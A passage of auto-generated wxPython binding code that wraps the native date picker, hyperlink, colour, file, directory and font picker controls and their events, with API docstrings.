"""DragTreeItem(TreeCtrl treeCtrl, TreeItemId id) -> DragImage"""
val = _controls_.new_DragTreeItem(*args, **kwargs)
return val
def DragListItem(*args, **kwargs):
"""DragListItem(ListCtrl listCtrl, long id) -> DragImage"""
val = _controls_.new_DragListItem(*args, **kwargs)
return val
#---------------------------------------------------------------------------
DP_DEFAULT = _controls_.DP_DEFAULT
DP_SPIN = _controls_.DP_SPIN
DP_DROPDOWN = _controls_.DP_DROPDOWN
DP_SHOWCENTURY = _controls_.DP_SHOWCENTURY
DP_ALLOWNONE = _controls_.DP_ALLOWNONE
class DatePickerCtrlBase(_core.Control):
"""Proxy of C++ DatePickerCtrlBase class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def SetValue(*args, **kwargs):
"""
SetValue(self, DateTime dt)
Changes the current value of the control. The date should be valid and
included in the currently selected range, if any.
Calling this method does not result in a date change event.
"""
return _controls_.DatePickerCtrlBase_SetValue(*args, **kwargs)
def GetValue(*args, **kwargs):
"""
GetValue(self) -> DateTime
Returns the currently selected date. If there is no selection or the
selection is outside of the current range, an invalid `wx.DateTime`
object is returned.
"""
return _controls_.DatePickerCtrlBase_GetValue(*args, **kwargs)
def SetRange(*args, **kwargs):
"""
SetRange(self, DateTime dt1, DateTime dt2)
Sets the valid range for the date selection. If dt1 is valid, it
becomes the earliest date (inclusive) accepted by the control. If dt2
is valid, it becomes the latest possible date.
If the current value of the control is outside of the newly set range
bounds, the behaviour is undefined.
"""
return _controls_.DatePickerCtrlBase_SetRange(*args, **kwargs)
def GetLowerLimit(*args, **kwargs):
"""
GetLowerLimit(self) -> DateTime
Get the lower limit of the valid range for the date selection, if any.
If there is no range or there is no lower limit, then the
`wx.DateTime` value returned will be invalid.
"""
return _controls_.DatePickerCtrlBase_GetLowerLimit(*args, **kwargs)
def GetUpperLimit(*args, **kwargs):
"""
GetUpperLimit(self) -> DateTime
Get the upper limit of the valid range for the date selection, if any.
If there is no range or there is no upper limit, then the
`wx.DateTime` value returned will be invalid.
"""
return _controls_.DatePickerCtrlBase_GetUpperLimit(*args, **kwargs)
LowerLimit = property(GetLowerLimit,doc="See `GetLowerLimit`")
UpperLimit = property(GetUpperLimit,doc="See `GetUpperLimit`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.DatePickerCtrlBase_swigregister(DatePickerCtrlBase)
DatePickerCtrlNameStr = cvar.DatePickerCtrlNameStr
class DatePickerCtrl(DatePickerCtrlBase):
"""
This control allows the user to select a date. Unlike
`wx.calendar.CalendarCtrl`, which is a relatively big control,
`wx.DatePickerCtrl` is implemented as a small window showing the
currently selected date. The control can be edited using the keyboard,
and can also display a popup window for more user-friendly date
selection, depending on the styles used and the platform.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDP_DEFAULT|wxDP_SHOWCENTURY,
Validator validator=DefaultValidator,
String name=DatePickerCtrlNameStr) -> DatePickerCtrl
Create a new DatePickerCtrl.
"""
_controls_.DatePickerCtrl_swiginit(self,_controls_.new_DatePickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDP_DEFAULT|wxDP_SHOWCENTURY,
Validator validator=DefaultValidator,
String name=DatePickerCtrlNameStr) -> bool
Create the GUI parts of the DatePickerCtrl, for use in 2-phase
creation.
"""
return _controls_.DatePickerCtrl_Create(*args, **kwargs)
_controls_.DatePickerCtrl_swigregister(DatePickerCtrl)
def PreDatePickerCtrl(*args, **kwargs):
"""
PreDatePickerCtrl() -> DatePickerCtrl
Precreate a DatePickerCtrl for use in 2-phase creation.
"""
val = _controls_.new_PreDatePickerCtrl(*args, **kwargs)
return val
class GenericDatePickerCtrl(DatePickerCtrl):
"""Proxy of C++ GenericDatePickerCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDP_DEFAULT|wxDP_SHOWCENTURY,
Validator validator=DefaultValidator,
String name=DatePickerCtrlNameStr) -> GenericDatePickerCtrl
Create a new GenericDatePickerCtrl.
"""
_controls_.GenericDatePickerCtrl_swiginit(self,_controls_.new_GenericDatePickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, DateTime dt=wxDefaultDateTime,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=wxDP_DEFAULT|wxDP_SHOWCENTURY,
Validator validator=DefaultValidator,
String name=DatePickerCtrlNameStr) -> bool
Create the GUI parts of the GenericDatePickerCtrl, for use in 2-phase
creation.
"""
return _controls_.GenericDatePickerCtrl_Create(*args, **kwargs)
_controls_.GenericDatePickerCtrl_swigregister(GenericDatePickerCtrl)
def PreGenericDatePickerCtrl(*args, **kwargs):
"""
PreGenericDatePickerCtrl() -> GenericDatePickerCtrl
Precreate a GenericDatePickerCtrl for use in 2-phase creation.
"""
val = _controls_.new_PreGenericDatePickerCtrl(*args, **kwargs)
return val
HL_CONTEXTMENU = _controls_.HL_CONTEXTMENU
HL_ALIGN_LEFT = _controls_.HL_ALIGN_LEFT
HL_ALIGN_RIGHT = _controls_.HL_ALIGN_RIGHT
HL_ALIGN_CENTRE = _controls_.HL_ALIGN_CENTRE
HL_DEFAULT_STYLE = _controls_.HL_DEFAULT_STYLE
#---------------------------------------------------------------------------
class HyperlinkCtrl(_core.Control):
"""
A static text control that emulates a hyperlink. The link is displayed
in an appropriate text style, derived from the control's normal font.
When the mouse rolls over the link, the cursor changes to a hand and
the link's color changes to the active color.
Clicking on the link does not launch a web browser; instead, a
wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link
events.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id, String label, String url, Point pos=DefaultPosition,
Size size=DefaultSize,
long style=HL_DEFAULT_STYLE, String name=HyperlinkCtrlNameStr) -> HyperlinkCtrl
A static text control that emulates a hyperlink. The link is displayed
in an appropriate text style, derived from the control's normal font.
When the mouse rolls over the link, the cursor changes to a hand and
the link's color changes to the active color.
Clicking on the link does not launch a web browser; instead, a
wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link
events.
"""
_controls_.HyperlinkCtrl_swiginit(self,_controls_.new_HyperlinkCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id, String label, String url, Point pos=DefaultPosition,
Size size=DefaultSize,
long style=HL_DEFAULT_STYLE, String name=HyperlinkCtrlNameStr) -> bool
"""
return _controls_.HyperlinkCtrl_Create(*args, **kwargs)
def GetHoverColour(*args, **kwargs):
"""GetHoverColour(self) -> Colour"""
return _controls_.HyperlinkCtrl_GetHoverColour(*args, **kwargs)
def SetHoverColour(*args, **kwargs):
"""SetHoverColour(self, Colour colour)"""
return _controls_.HyperlinkCtrl_SetHoverColour(*args, **kwargs)
def GetNormalColour(*args, **kwargs):
"""GetNormalColour(self) -> Colour"""
return _controls_.HyperlinkCtrl_GetNormalColour(*args, **kwargs)
def SetNormalColour(*args, **kwargs):
"""SetNormalColour(self, Colour colour)"""
return _controls_.HyperlinkCtrl_SetNormalColour(*args, **kwargs)
def GetVisitedColour(*args, **kwargs):
"""GetVisitedColour(self) -> Colour"""
return _controls_.HyperlinkCtrl_GetVisitedColour(*args, **kwargs)
def SetVisitedColour(*args, **kwargs):
"""SetVisitedColour(self, Colour colour)"""
return _controls_.HyperlinkCtrl_SetVisitedColour(*args, **kwargs)
def GetURL(*args, **kwargs):
"""GetURL(self) -> String"""
return _controls_.HyperlinkCtrl_GetURL(*args, **kwargs)
def SetURL(*args, **kwargs):
"""SetURL(self, String url)"""
return _controls_.HyperlinkCtrl_SetURL(*args, **kwargs)
def SetVisited(*args, **kwargs):
"""SetVisited(self, bool visited=True)"""
return _controls_.HyperlinkCtrl_SetVisited(*args, **kwargs)
def GetVisited(*args, **kwargs):
"""GetVisited(self) -> bool"""
return _controls_.HyperlinkCtrl_GetVisited(*args, **kwargs)
HoverColour = property(GetHoverColour,SetHoverColour,doc="See `GetHoverColour` and `SetHoverColour`")
NormalColour = property(GetNormalColour,SetNormalColour,doc="See `GetNormalColour` and `SetNormalColour`")
URL = property(GetURL,SetURL,doc="See `GetURL` and `SetURL`")
Visited = property(GetVisited,SetVisited,doc="See `GetVisited` and `SetVisited`")
VisitedColour = property(GetVisitedColour,SetVisitedColour,doc="See `GetVisitedColour` and `SetVisitedColour`")
_controls_.HyperlinkCtrl_swigregister(HyperlinkCtrl)
HyperlinkCtrlNameStr = cvar.HyperlinkCtrlNameStr
def PreHyperlinkCtrl(*args, **kwargs):
"""
PreHyperlinkCtrl() -> HyperlinkCtrl
A static text control that emulates a hyperlink. The link is displayed
in an appropriate text style, derived from the control's normal font.
When the mouse rolls over the link, the cursor changes to a hand and
the link's color changes to the active color.
Clicking on the link does not launch a web browser; instead, a
wx.HyperlinkEvent is fired. Use the wx.EVT_HYPERLINK to catch link
events.
"""
val = _controls_.new_PreHyperlinkCtrl(*args, **kwargs)
return val
wxEVT_COMMAND_HYPERLINK = _controls_.wxEVT_COMMAND_HYPERLINK
class HyperlinkEvent(_core.CommandEvent):
"""Proxy of C++ HyperlinkEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, Object generator, int id, String url) -> HyperlinkEvent"""
_controls_.HyperlinkEvent_swiginit(self,_controls_.new_HyperlinkEvent(*args, **kwargs))
def GetURL(*args, **kwargs):
"""GetURL(self) -> String"""
return _controls_.HyperlinkEvent_GetURL(*args, **kwargs)
def SetURL(*args, **kwargs):
"""SetURL(self, String url)"""
return _controls_.HyperlinkEvent_SetURL(*args, **kwargs)
URL = property(GetURL,SetURL,doc="See `GetURL` and `SetURL`")
_controls_.HyperlinkEvent_swigregister(HyperlinkEvent)
EVT_HYPERLINK = wx.PyEventBinder( wxEVT_COMMAND_HYPERLINK, 1 )
#---------------------------------------------------------------------------
PB_USE_TEXTCTRL = _controls_.PB_USE_TEXTCTRL
class PickerBase(_core.Control):
"""
Base abstract class for all pickers which support an auxiliary text
control. This class handles all positioning and sizing of the text
control like a horizontal `wx.BoxSizer` would do, with the text
control on the left of the picker button and the proportion of the
picker fixed to value 1.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def CreateBase(*args, **kwargs):
"""
CreateBase(self, Window parent, int id, String text=wxEmptyString, Point pos=DefaultPosition,
Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=wxButtonNameStr) -> bool
"""
return _controls_.PickerBase_CreateBase(*args, **kwargs)
def SetInternalMargin(*args, **kwargs):
"""
SetInternalMargin(self, int newmargin)
Sets the margin (in pixels) between the picker and the text control.
"""
return _controls_.PickerBase_SetInternalMargin(*args, **kwargs)
def GetInternalMargin(*args, **kwargs):
"""
GetInternalMargin(self) -> int
Returns the margin (in pixels) between the picker and the text
control.
"""
return _controls_.PickerBase_GetInternalMargin(*args, **kwargs)
def SetTextCtrlProportion(*args, **kwargs):
"""
SetTextCtrlProportion(self, int prop)
Sets the proportion between the text control and the picker button.
This is used to set relative sizes of the text contorl and the picker.
The value passed to this function must be >= 1.
"""
return _controls_.PickerBase_SetTextCtrlProportion(*args, **kwargs)
def GetTextCtrlProportion(*args, **kwargs):
"""
GetTextCtrlProportion(self) -> int
Returns the proportion between the text control and the picker.
"""
return _controls_.PickerBase_GetTextCtrlProportion(*args, **kwargs)
def SetPickerCtrlProportion(*args, **kwargs):
"""
SetPickerCtrlProportion(self, int prop)
Sets the proportion value of the picker.
"""
return _controls_.PickerBase_SetPickerCtrlProportion(*args, **kwargs)
def GetPickerCtrlProportion(*args, **kwargs):
"""
GetPickerCtrlProportion(self) -> int
Gets the proportion value of the picker.
"""
return _controls_.PickerBase_GetPickerCtrlProportion(*args, **kwargs)
def IsTextCtrlGrowable(*args, **kwargs):
"""IsTextCtrlGrowable(self) -> bool"""
return _controls_.PickerBase_IsTextCtrlGrowable(*args, **kwargs)
def SetTextCtrlGrowable(*args, **kwargs):
"""SetTextCtrlGrowable(self, bool grow=True)"""
return _controls_.PickerBase_SetTextCtrlGrowable(*args, **kwargs)
def IsPickerCtrlGrowable(*args, **kwargs):
"""IsPickerCtrlGrowable(self) -> bool"""
return _controls_.PickerBase_IsPickerCtrlGrowable(*args, **kwargs)
def SetPickerCtrlGrowable(*args, **kwargs):
"""SetPickerCtrlGrowable(self, bool grow=True)"""
return _controls_.PickerBase_SetPickerCtrlGrowable(*args, **kwargs)
def HasTextCtrl(*args, **kwargs):
"""
HasTextCtrl(self) -> bool
Returns true if this class has a valid text control (i.e. if the
wx.PB_USE_TEXTCTRL style was given when creating this control).
"""
return _controls_.PickerBase_HasTextCtrl(*args, **kwargs)
def GetTextCtrl(*args, **kwargs):
"""
GetTextCtrl(self) -> TextCtrl
Returns a pointer to the text control handled by this class or None if
the wx.PB_USE_TEXTCTRL style was not specified when this control was
created.
Very important: the contents of the text control could be containing
an invalid representation of the entity which can be chosen through
the picker (e.g. the user entered an invalid colour syntax because of
a typo). Thus you should never parse the content of the textctrl to
get the user's input; rather use the derived-class getter
(e.g. `wx.ColourPickerCtrl.GetColour`, `wx.FilePickerCtrl.GetPath`,
etc).
"""
return _controls_.PickerBase_GetTextCtrl(*args, **kwargs)
def GetPickerCtrl(*args, **kwargs):
"""GetPickerCtrl(self) -> Control"""
return _controls_.PickerBase_GetPickerCtrl(*args, **kwargs)
InternalMargin = property(GetInternalMargin,SetInternalMargin,doc="See `GetInternalMargin` and `SetInternalMargin`")
PickerCtrl = property(GetPickerCtrl,doc="See `GetPickerCtrl`")
PickerCtrlProportion = property(GetPickerCtrlProportion,SetPickerCtrlProportion,doc="See `GetPickerCtrlProportion` and `SetPickerCtrlProportion`")
TextCtrl = property(GetTextCtrl,doc="See `GetTextCtrl`")
TextCtrlProportion = property(GetTextCtrlProportion,SetTextCtrlProportion,doc="See `GetTextCtrlProportion` and `SetTextCtrlProportion`")
TextCtrlGrowable = property(IsTextCtrlGrowable,SetTextCtrlGrowable,doc="See `IsTextCtrlGrowable` and `SetTextCtrlGrowable`")
PickerCtrlGrowable = property(IsPickerCtrlGrowable,SetPickerCtrlGrowable,doc="See `IsPickerCtrlGrowable` and `SetPickerCtrlGrowable`")
_controls_.PickerBase_swigregister(PickerBase)
class PyPickerBase(PickerBase):
"""Proxy of C++ PyPickerBase class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String text=wxEmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=wxButtonNameStr) -> PyPickerBase
"""
_controls_.PyPickerBase_swiginit(self,_controls_.new_PyPickerBase(*args, **kwargs))
self._setOORInfo(self);PyPickerBase._setCallbackInfo(self, self, PyPickerBase)
def _setCallbackInfo(*args, **kwargs):
"""_setCallbackInfo(self, PyObject self, PyObject _class)"""
return _controls_.PyPickerBase__setCallbackInfo(*args, **kwargs)
def UpdatePickerFromTextCtrl(*args, **kwargs):
"""UpdatePickerFromTextCtrl(self)"""
return _controls_.PyPickerBase_UpdatePickerFromTextCtrl(*args, **kwargs)
def UpdateTextCtrlFromPicker(*args, **kwargs):
"""UpdateTextCtrlFromPicker(self)"""
return _controls_.PyPickerBase_UpdateTextCtrlFromPicker(*args, **kwargs)
def GetTextCtrlStyle(*args, **kwargs):
"""GetTextCtrlStyle(self, long style) -> long"""
return _controls_.PyPickerBase_GetTextCtrlStyle(*args, **kwargs)
def GetPickerStyle(*args, **kwargs):
"""GetPickerStyle(self, long style) -> long"""
return _controls_.PyPickerBase_GetPickerStyle(*args, **kwargs)
def SetTextCtrl(*args, **kwargs):
"""SetTextCtrl(self, TextCtrl text)"""
return _controls_.PyPickerBase_SetTextCtrl(*args, **kwargs)
def SetPickerCtrl(*args, **kwargs):
"""SetPickerCtrl(self, Control picker)"""
return _controls_.PyPickerBase_SetPickerCtrl(*args, **kwargs)
def PostCreation(*args, **kwargs):
"""PostCreation(self)"""
return _controls_.PyPickerBase_PostCreation(*args, **kwargs)
_controls_.PyPickerBase_swigregister(PyPickerBase)
def PrePyPickerBase(*args, **kwargs):
"""PrePyPickerBase() -> PyPickerBase"""
val = _controls_.new_PrePyPickerBase(*args, **kwargs)
return val
#---------------------------------------------------------------------------
CLRP_SHOW_LABEL = _controls_.CLRP_SHOW_LABEL
CLRP_USE_TEXTCTRL = _controls_.CLRP_USE_TEXTCTRL
CLRP_DEFAULT_STYLE = _controls_.CLRP_DEFAULT_STYLE
class ColourPickerCtrl(PickerBase):
"""
This control allows the user to select a colour. The implementation
varies by platform but is usually a button which brings up a
`wx.ColourDialog` when clicked.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Colour col=*wxBLACK, Point pos=DefaultPosition,
Size size=DefaultSize,
long style=CLRP_DEFAULT_STYLE, Validator validator=DefaultValidator,
String name=ColourPickerCtrlNameStr) -> ColourPickerCtrl
This control allows the user to select a colour. The implementation
varies by platform but is usually a button which brings up a
`wx.ColourDialog` when clicked.
"""
_controls_.ColourPickerCtrl_swiginit(self,_controls_.new_ColourPickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id, Colour col=*wxBLACK, Point pos=DefaultPosition,
Size size=DefaultSize, long style=CLRP_DEFAULT_STYLE,
Validator validator=DefaultValidator,
String name=ColourPickerCtrlNameStr) -> bool
"""
return _controls_.ColourPickerCtrl_Create(*args, **kwargs)
def GetColour(*args, **kwargs):
"""
GetColour(self) -> Colour
Returns the currently selected colour.
"""
return _controls_.ColourPickerCtrl_GetColour(*args, **kwargs)
def SetColour(*args, **kwargs):
"""
SetColour(self, Colour col)
Set the displayed colour.
"""
return _controls_.ColourPickerCtrl_SetColour(*args, **kwargs)
Colour = property(GetColour,SetColour,doc="See `GetColour` and `SetColour`")
_controls_.ColourPickerCtrl_swigregister(ColourPickerCtrl)
ColourPickerCtrlNameStr = cvar.ColourPickerCtrlNameStr
def PreColourPickerCtrl(*args, **kwargs):
"""
PreColourPickerCtrl() -> ColourPickerCtrl
This control allows the user to select a colour. The implementation
varies by platform but is usually a button which brings up a
`wx.ColourDialog` when clicked.
"""
val = _controls_.new_PreColourPickerCtrl(*args, **kwargs)
return val
wxEVT_COMMAND_COLOURPICKER_CHANGED = _controls_.wxEVT_COMMAND_COLOURPICKER_CHANGED
EVT_COLOURPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_COLOURPICKER_CHANGED, 1 )
class ColourPickerEvent(_core.CommandEvent):
"""Proxy of C++ ColourPickerEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, Object generator, int id, Colour col) -> ColourPickerEvent"""
_controls_.ColourPickerEvent_swiginit(self,_controls_.new_ColourPickerEvent(*args, **kwargs))
def GetColour(*args, **kwargs):
"""GetColour(self) -> Colour"""
return _controls_.ColourPickerEvent_GetColour(*args, **kwargs)
def SetColour(*args, **kwargs):
"""SetColour(self, Colour c)"""
return _controls_.ColourPickerEvent_SetColour(*args, **kwargs)
Colour = property(GetColour,SetColour,doc="See `GetColour` and `SetColour`")
_controls_.ColourPickerEvent_swigregister(ColourPickerEvent)
#---------------------------------------------------------------------------
FLP_OPEN = _controls_.FLP_OPEN
FLP_SAVE = _controls_.FLP_SAVE
FLP_OVERWRITE_PROMPT = _controls_.FLP_OVERWRITE_PROMPT
FLP_FILE_MUST_EXIST = _controls_.FLP_FILE_MUST_EXIST
FLP_CHANGE_DIR = _controls_.FLP_CHANGE_DIR
DIRP_DIR_MUST_EXIST = _controls_.DIRP_DIR_MUST_EXIST
DIRP_CHANGE_DIR = _controls_.DIRP_CHANGE_DIR
FLP_USE_TEXTCTRL = _controls_.FLP_USE_TEXTCTRL
FLP_DEFAULT_STYLE = _controls_.FLP_DEFAULT_STYLE
DIRP_USE_TEXTCTRL = _controls_.DIRP_USE_TEXTCTRL
DIRP_DEFAULT_STYLE = _controls_.DIRP_DEFAULT_STYLE
class FilePickerCtrl(PickerBase):
"""Proxy of C++ FilePickerCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String path=EmptyString,
String message=FileSelectorPromptStr, String wildcard=FileSelectorDefaultWildcardStr,
Point pos=DefaultPosition,
Size size=DefaultSize,
long style=FLP_DEFAULT_STYLE, Validator validator=DefaultValidator,
String name=FilePickerCtrlNameStr) -> FilePickerCtrl
"""
_controls_.FilePickerCtrl_swiginit(self,_controls_.new_FilePickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String path=EmptyString,
String message=FileSelectorPromptStr, String wildcard=FileSelectorDefaultWildcardStr,
Point pos=DefaultPosition,
Size size=DefaultSize,
long style=FLP_DEFAULT_STYLE, Validator validator=DefaultValidator,
String name=FilePickerCtrlNameStr) -> bool
"""
return _controls_.FilePickerCtrl_Create(*args, **kwargs)
def GetPath(*args, **kwargs):
"""GetPath(self) -> String"""
return _controls_.FilePickerCtrl_GetPath(*args, **kwargs)
def SetPath(*args, **kwargs):
"""SetPath(self, String str)"""
return _controls_.FilePickerCtrl_SetPath(*args, **kwargs)
def CheckPath(*args, **kwargs):
"""CheckPath(self, String path) -> bool"""
return _controls_.FilePickerCtrl_CheckPath(*args, **kwargs)
def GetTextCtrlValue(*args, **kwargs):
"""GetTextCtrlValue(self) -> String"""
return _controls_.FilePickerCtrl_GetTextCtrlValue(*args, **kwargs)
Path = property(GetPath,SetPath,doc="See `GetPath` and `SetPath`")
TextCtrlValue = property(GetTextCtrlValue,doc="See `GetTextCtrlValue`")
_controls_.FilePickerCtrl_swigregister(FilePickerCtrl)
FilePickerCtrlNameStr = cvar.FilePickerCtrlNameStr
FileSelectorPromptStr = cvar.FileSelectorPromptStr
DirPickerCtrlNameStr = cvar.DirPickerCtrlNameStr
DirSelectorPromptStr = cvar.DirSelectorPromptStr
FileSelectorDefaultWildcardStr = cvar.FileSelectorDefaultWildcardStr
def PreFilePickerCtrl(*args, **kwargs):
"""PreFilePickerCtrl() -> FilePickerCtrl"""
val = _controls_.new_PreFilePickerCtrl(*args, **kwargs)
return val
class DirPickerCtrl(PickerBase):
"""Proxy of C++ DirPickerCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String path=EmptyString,
String message=DirSelectorPromptStr, Point pos=DefaultPosition,
Size size=DefaultSize, long style=DIRP_DEFAULT_STYLE,
Validator validator=DefaultValidator,
String name=DirPickerCtrlNameStr) -> DirPickerCtrl
"""
_controls_.DirPickerCtrl_swiginit(self,_controls_.new_DirPickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String path=EmptyString,
String message=DirSelectorPromptStr, Point pos=DefaultPosition,
Size size=DefaultSize, long style=DIRP_DEFAULT_STYLE,
Validator validator=DefaultValidator,
String name=DirPickerCtrlNameStr) -> bool
"""
return _controls_.DirPickerCtrl_Create(*args, **kwargs)
def GetPath(*args, **kwargs):
"""GetPath(self) -> String"""
return _controls_.DirPickerCtrl_GetPath(*args, **kwargs)
def SetPath(*args, **kwargs):
"""SetPath(self, String str)"""
return _controls_.DirPickerCtrl_SetPath(*args, **kwargs)
def CheckPath(*args, **kwargs):
"""CheckPath(self, String path) -> bool"""
return _controls_.DirPickerCtrl_CheckPath(*args, **kwargs)
def GetTextCtrlValue(*args, **kwargs):
"""GetTextCtrlValue(self) -> String"""
return _controls_.DirPickerCtrl_GetTextCtrlValue(*args, **kwargs)
Path = property(GetPath,SetPath,doc="See `GetPath` and `SetPath`")
TextCtrlValue = property(GetTextCtrlValue,doc="See `GetTextCtrlValue`")
_controls_.DirPickerCtrl_swigregister(DirPickerCtrl)
def PreDirPickerCtrl(*args, **kwargs):
"""PreDirPickerCtrl() -> DirPickerCtrl"""
val = _controls_.new_PreDirPickerCtrl(*args, **kwargs)
return val
wxEVT_COMMAND_FILEPICKER_CHANGED = _controls_.wxEVT_COMMAND_FILEPICKER_CHANGED
wxEVT_COMMAND_DIRPICKER_CHANGED = _controls_.wxEVT_COMMAND_DIRPICKER_CHANGED
EVT_FILEPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_FILEPICKER_CHANGED, 1 )
EVT_DIRPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_DIRPICKER_CHANGED, 1 )
class FileDirPickerEvent(_core.CommandEvent):
"""Proxy of C++ FileDirPickerEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, EventType type, Object generator, int id, String path) -> FileDirPickerEvent"""
_controls_.FileDirPickerEvent_swiginit(self,_controls_.new_FileDirPickerEvent(*args, **kwargs))
def GetPath(*args, **kwargs):
"""GetPath(self) -> String"""
return _controls_.FileDirPickerEvent_GetPath(*args, **kwargs)
def SetPath(*args, **kwargs):
"""SetPath(self, String p)"""
return _controls_.FileDirPickerEvent_SetPath(*args, **kwargs)
Path = property(GetPath,SetPath,doc="See `GetPath` and `SetPath`")
_controls_.FileDirPickerEvent_swigregister(FileDirPickerEvent)
#---------------------------------------------------------------------------
FNTP_FONTDESC_AS_LABEL = _controls_.FNTP_FONTDESC_AS_LABEL
FNTP_USEFONT_FOR_LABEL = _controls_.FNTP_USEFONT_FOR_LABEL
FNTP_USE_TEXTCTRL = _controls_.FNTP_USE_TEXTCTRL
FNTP_DEFAULT_STYLE = _controls_.FNTP_DEFAULT_STYLE
class FontPickerCtrl(PickerBase):
"""Proxy of C++ FontPickerCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Font initial=wxNullFont,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=FNTP_DEFAULT_STYLE, Validator validator=DefaultValidator,
String name=FontPickerCtrlNameStr) -> FontPickerCtrl
"""
_controls_.FontPickerCtrl_swiginit(self,_controls_.new_FontPickerCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Font initial=wxNullFont,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=FNTP_DEFAULT_STYLE, Validator validator=DefaultValidator,
String name=FontPickerCtrlNameStr) -> bool
"""
return _controls_.FontPickerCtrl_Create(*args, **kwargs)
def GetSelectedFont(*args, **kwargs):
"""GetSelectedFont(self) -> Font"""
return _controls_.FontPickerCtrl_GetSelectedFont(*args, **kwargs)
def SetSelectedFont(*args, **kwargs):
"""SetSelectedFont(self, Font f)"""
return _controls_.FontPickerCtrl_SetSelectedFont(*args, **kwargs)
def SetMaxPointSize(*args, **kwargs):
"""SetMaxPointSize(self, unsigned int max)"""
return _controls_.FontPickerCtrl_SetMaxPointSize(*args, **kwargs)
def GetMaxPointSize(*args, **kwargs):
"""GetMaxPointSize(self) -> unsigned int"""
return _controls_.FontPickerCtrl_GetMaxPointSize(*args, **kwargs)
MaxPointSize = property(GetMaxPointSize,SetMaxPointSize,doc="See `GetMaxPointSize` and `SetMaxPointSize`")
SelectedFont = property(GetSelectedFont,SetSelectedFont,doc="See `GetSelectedFont` and `SetSelectedFont`")
_controls_.FontPickerCtrl_swigregister(FontPickerCtrl)
FontPickerCtrlNameStr = cvar.FontPickerCtrlNameStr
def PreFontPickerCtrl(*args, **kwargs):
"""PreFontPickerCtrl() -> FontPickerCtrl"""
val = _controls_.new_PreFontPickerCtrl(*args, **kwargs)
return val
wxEVT_COMMAND_FONTPICKER_CHANGED = _controls_.wxEVT_COMMAND_FONTPICKER_CHANGED
EVT_FONTPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_FONTPICKER_CHANGED, 1 )
class FontPickerEvent(_core.CommandEvent):
"""Proxy of C++ FontPickerEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, Object generator, int id, Font f) -> FontPickerEvent"""
_controls_.FontPickerEvent_swiginit(self,_controls_.new_FontPickerEvent(*args, **kwargs))
def GetFont(*args, **kwargs):
"""GetFont(self) -> Font"""
